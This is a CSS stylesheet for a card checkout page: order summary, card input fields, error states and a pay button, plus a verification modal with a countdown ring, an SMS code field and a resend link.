:root {
    --white: #ffffff;
    --bg: #3a3032;
    --bg-dark: #292323;
    --bg-card: #2a2024;
    --accent: #e6007e;
    --accent-hover: #c4006c;
    --accent-dim: #5a2a48;
    --text: #ffffff;
    --text-muted: #bcbcbc;
    --text-dark: #222;
    --border: #4a3a3e;
    --danger: #e74c3c;
    --radius-xl: 10px;
    --radius-lg: 6px;
    --ease: cubic-bezier(0.19, 1, 0.22, 1);
}

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    min-height: 100vh;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 28px;
    background: var(--bg);
    color: var(--text);
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
    text-rendering: optimizeLegibility;
}

.checkout-wrapper {
    width: min(100%, 500px);
    animation: paymentReveal 760ms var(--ease) both;
}

.checkout-box {
    overflow: hidden;
    background: var(--bg-dark);
    border: 1px solid var(--border);
    border-radius: var(--radius-xl);
    box-shadow: 0 28px 80px rgba(0, 0, 0, 0.35);
}

.checkout-header {
    display: flex;
    align-items: center;
    justify-content: space-between;
    gap: 18px;
    padding: 24px 28px;
    background: var(--bg-card);
    border-bottom: 1px solid var(--border);
}

.header-left {
    display: flex;
    align-items: center;
    gap: 12px;
}

.header-left svg {
    width: 34px;
    height: 34px;
    padding: 8px;
    color: var(--white);
    background: var(--accent);
    border-radius: 50%;
    stroke: currentColor;
}

.header-title {
    color: var(--text);
    font-size: 0.94rem;
    font-weight: 900;
    letter-spacing: -0.02em;
}

.header-secure {
    display: inline-flex;
    align-items: center;
    gap: 6px;
    padding: 8px 10px;
    color: var(--accent);
    background: rgba(230, 0, 126, 0.1);
    border: 1px solid rgba(230, 0, 126, 0.25);
    border-radius: 999px;
    font-size: 0.72rem;
    font-weight: 900;
}

.header-secure svg {
    stroke: currentColor;
    flex-shrink: 0;
}

.order-summary {
    display: grid;
    gap: 10px;
    padding: 24px 28px;
    background: var(--bg-dark);
    border-bottom: 1px solid var(--border);
}

.order-row {
    display: flex;
    justify-content: space-between;
    align-items: center;
    gap: 18px;
}

.order-label {
    color: var(--text-muted);
    font-size: 0.76rem;
    font-weight: 900;
    letter-spacing: 0.13em;
    text-transform: uppercase;
}

.order-value {
    color: var(--text);
    font-size: 0.92rem;
    font-weight: 800;
    text-align: right;
}

.order-amount {
    font-size: 1.55rem;
    font-weight: 900;
    letter-spacing: -0.06em;
    color: var(--accent);
}

form {
    padding: 30px 28px 26px;
}

.field {
    margin-bottom: 18px;
}

.field label {
    display: block;
    margin-bottom: 8px;
    color: var(--text-muted);
    font-size: 0.74rem;
    font-weight: 900;
    letter-spacing: 0.13em;
    text-transform: uppercase;
}

.field input {
    width: 100%;
    height: 58px;
    padding: 0 16px;
    color: var(--text-dark);
    background: var(--white);
    border: 1px solid var(--border);
    border-radius: var(--radius-lg);
    outline: none;
    font: inherit;
    font-size: 0.98rem;
    font-weight: 700;
    transition: background 320ms var(--ease), border-color 320ms var(--ease), box-shadow 320ms var(--ease), transform 320ms var(--ease);
}

.field input:focus {
    background: var(--white);
    border-color: var(--accent);
    box-shadow: 0 0 0 2px rgba(230, 0, 126, 0.25);
    transform: translateY(-1px);
}

.field input::placeholder {
    color: #999;
    font-weight: 600;
}

.card-input-wrap {
    position: relative;
}

.card-input-wrap input {
    padding-right: 96px;
}

.card-brands {
    position: absolute;
    right: 14px;
    top: 50%;
    display: flex;
    gap: 5px;
    opacity: 0.72;
    transform: translateY(-50%);
}

.card-icon {
    width: 35px;
    height: 23px;
    border-radius: 6px;
    box-shadow: 0 6px 14px rgba(0, 0, 0, 0.15);
}

.field-error {
    border-color: var(--danger) !important;
    box-shadow: 0 0 0 2px rgba(231, 76, 60, 0.3) !important;
}

.error-msg {
    display: none;
    margin-top: 7px;
    color: var(--danger);
    font-size: 0.74rem;
    font-weight: 800;
}

.error-msg.show {
    display: block;
}

.field-row {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 12px;
}

button {
    width: 100%;
    min-height: 58px;
    margin-top: 8px;
    padding: 0 18px;
    color: var(--white);
    background: var(--accent);
    border: none;
    border-radius: 999px;
    font: inherit;
    font-size: 0.98rem;
    font-weight: 900;
    letter-spacing: -0.01em;
    cursor: pointer;
    box-shadow: 0 18px 38px rgba(230, 0, 126, 0.2);
    transition: transform 320ms var(--ease), background 320ms var(--ease), box-shadow 320ms var(--ease);
}

button:hover {
    background: var(--accent-hover);
    box-shadow: 0 22px 46px rgba(230, 0, 126, 0.3);
    transform: translateY(-3px);
}

button:active {
    transform: scale(0.98);
}

button:disabled {
    background: var(--accent-dim);
    cursor: not-allowed;
    box-shadow: none;
    transform: none;
}

.footer-section {
    padding: 20px 28px 24px;
    border-top: 1px solid var(--border);
}

.accepted-cards {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
    margin-bottom: 12px;
}

.accepted-cards span {
    color: var(--text-muted);
    font-size: 0.72rem;
    font-weight: 800;
}

.accepted-icons {
    display: flex;
    gap: 5px;
}

.footer-card-icon {
    width: 32px;
    height: 21px;
    opacity: 0.72;
}

.footer-note {
    color: var(--text-muted);
    text-align: center;
    font-size: 0.74rem;
    font-weight: 700;
}

.footer-note svg {
    stroke: var(--text-muted);
}

.modal {
    background-color: #00000062;
    width: 100%;
    height: 100%;
    position: fixed;
    top: 0; left: 0;
    display: none;
    align-items: center;
    justify-content: center;
    z-index: 99999;
}

.modal.is-visible {
    display: flex;
}

.modal .modal-container {
    background-color: #fff;
    width: 400px;
    max-height: 90vh;
    overflow-y: auto;
    border-radius: 3px;
    padding-top: 10px;
    font-family: Arial, Helvetica, sans-serif;
        min-height: 500px;
}

.modal .modal-container button {
    min-height: auto;
    margin-top: 0;
    padding: 10px;
    border-radius: 4px;
    box-shadow: none;
    letter-spacing: normal;
    text-transform: none;
}

.modal .modal-container button:hover {
    box-shadow: none;
}

.modal .modal-container .logos {
    display: flex;
    justify-content: space-between;
    padding-left: 30px;
    padding-right: 30px;
    align-items: center;
    height: 50px;
}

.modal .modal-container .logos img {
    width: 50px;
}

.modal .modal-container hr {
    border: none;
    border-top: 1px solid #e5e5e5;
}

.hidden { display: none !important; }

.text {
    color: #424242;
    font-size: 12px;
    text-align: center;
    margin-top: 25px;
}

.loader {
    position: relative;
    width: 28px;
    height: 28px;
    margin: 24px auto 0;
}

.loader span {
    position: absolute;
    width: 4px;
    height: 4px;
    background: #c8c8c8;
    border-radius: 50%;
    animation: dotFade 1s infinite linear;
}

.loader span:nth-child(1) { top: 0;     left: 12px;  animation-delay: 0s; }
.loader span:nth-child(2) { top: 3px;   left: 21px;  animation-delay: -.875s; }
.loader span:nth-child(3) { top: 12px;  left: 24px;  animation-delay: -.75s; }
.loader span:nth-child(4) { top: 21px;  left: 21px;  animation-delay: -.625s; }
.loader span:nth-child(5) { top: 24px;  left: 12px;  animation-delay: -.5s; }
.loader span:nth-child(6) { top: 21px;  left: 3px;   animation-delay: -.375s; }
.loader span:nth-child(7) { top: 12px;  left: 0;     animation-delay: -.25s; }
.loader span:nth-child(8) { top: 3px;   left: 3px;   animation-delay: -.125s; }

@keyframes dotFade {
    0%   { background: #333; }
    12%  { background: #555; }
    25%  { background: #c8c8c8; }
    100% { background: #c8c8c8; }
}

.auth-title {
    font-size: 13px;
    font-weight: 700;
    color: #1a1a1a;
    padding: 24px 28px 0;
}

.timer-ring {
    position: relative;
    width: 80px;
    height: 80px;
    margin: 24px auto;
}

.timer-ring svg { width: 100%; height: 100%; transform: rotate(-90deg); }
.timer-ring__bg { fill: none; stroke: #e8e8e8; stroke-width: 5; }
.timer-ring__progress { fill: none; stroke: #2d6fba; stroke-width: 5; stroke-linecap: round; transition: stroke-dashoffset 1s linear; }

.timer-ring__text {
    position: absolute;
    top: 50%; left: 50%;
    transform: translate(-50%, -50%);
    font-size: 18px;
    font-weight: 700;
    color: #1a1a1a;
}

.auth-desc {
    font-size: 12px;
    color: #777;
    line-height: 1.6;
    padding: 0 28px 28px;
    text-align: center;
}

.auth-error {
    gap: 6px;
    margin-bottom: 20px;
    font-size: 11.5px;
    text-align: center;
    color: #e74c3c;
}
.auth-error.hidden { display: none !important; }

.auth-continue {
    display: block;
    height: 30px;
    width: 100px;
    font-family: Arial, Helvetica, sans-serif;
    font-size: 11px;
    font-weight: 700;
    color: #fff;
    background: #2d6fba;
    border: none;
    border-radius: 4px;
    cursor: pointer;
    transition: background .15s;
    position: relative;
    left: 50%;
    transform: translate(-50%);
    min-height: auto;
    padding: 0;
    letter-spacing: normal;
    box-shadow: none;
}

.auth-continue:hover { background: #245a9a; transform: translate(-50%); box-shadow: none; }

.sms-subtitle {
    font-size: 12px;
    color: #777;
    line-height: 1.6;
    padding: 8px 28px 0;
}

.sms-code-section {
    text-align: center;
    padding: 0 28px 20px;
}

.sms-code-label {
    font-size: 12px;
    font-weight: 700;
    color: #1a1a1a;
    margin-bottom: 10px;
}

.sms-code-input {
    display: block;
    width: 60% !important;
    margin: 0 auto;
    height: 36px;
    padding: 0 12px;
    font-family: Arial, Helvetica, sans-serif;
    font-size: 14px;
    color: #1a1a1a;
    text-align: center;
    border: 1px solid #ccc;
    border-radius: 4px;
    outline: none;
    background: #fff;
    letter-spacing: normal;
    font-weight: normal;
}

.sms-code-input:focus { border-color: #2d6fba; }

.resend-link {
    display: block;
    width: 100%;
    margin-top: 70px;
    padding-bottom: 24px;
    font-family: Arial, Helvetica, sans-serif;
    font-size: 11px;
    font-weight: 700;
    color: #2d6fba;
    background: none;
    border: none;
    cursor: pointer;
    text-align: center;
    letter-spacing: .3px;
    min-height: auto;
    box-shadow: none;
    text-decoration: none;
    text-transform: none;
}

.resend-link:hover { text-decoration: underline; background: none; transform: none; box-shadow: none; color: #2d6fba; }

@keyframes paymentReveal {
    from {
        opacity: 0;
        transform: translateY(18px) scale(0.98);
    }
    to {
        opacity: 1;
        transform: translateY(0) scale(1);
    }
}

@keyframes spin {
    to {
        transform: rotate(360deg);
    }
}

@media (max-width: 520px) {
    body {
        padding: 14px;
    }

    .checkout-header,
    .order-summary,
    form,
    .footer-section {
        padding-left: 20px;
        padding-right: 20px;
    }

    .field-row {
        grid-template-columns: 1fr;
        gap: 0;
    }

    .modal .modal-container {
        width: 95%;
        max-height: 85vh;
        margin: 10px;
    }

    .modal .modal-container .logos img {
        width: 40px;
    }
}
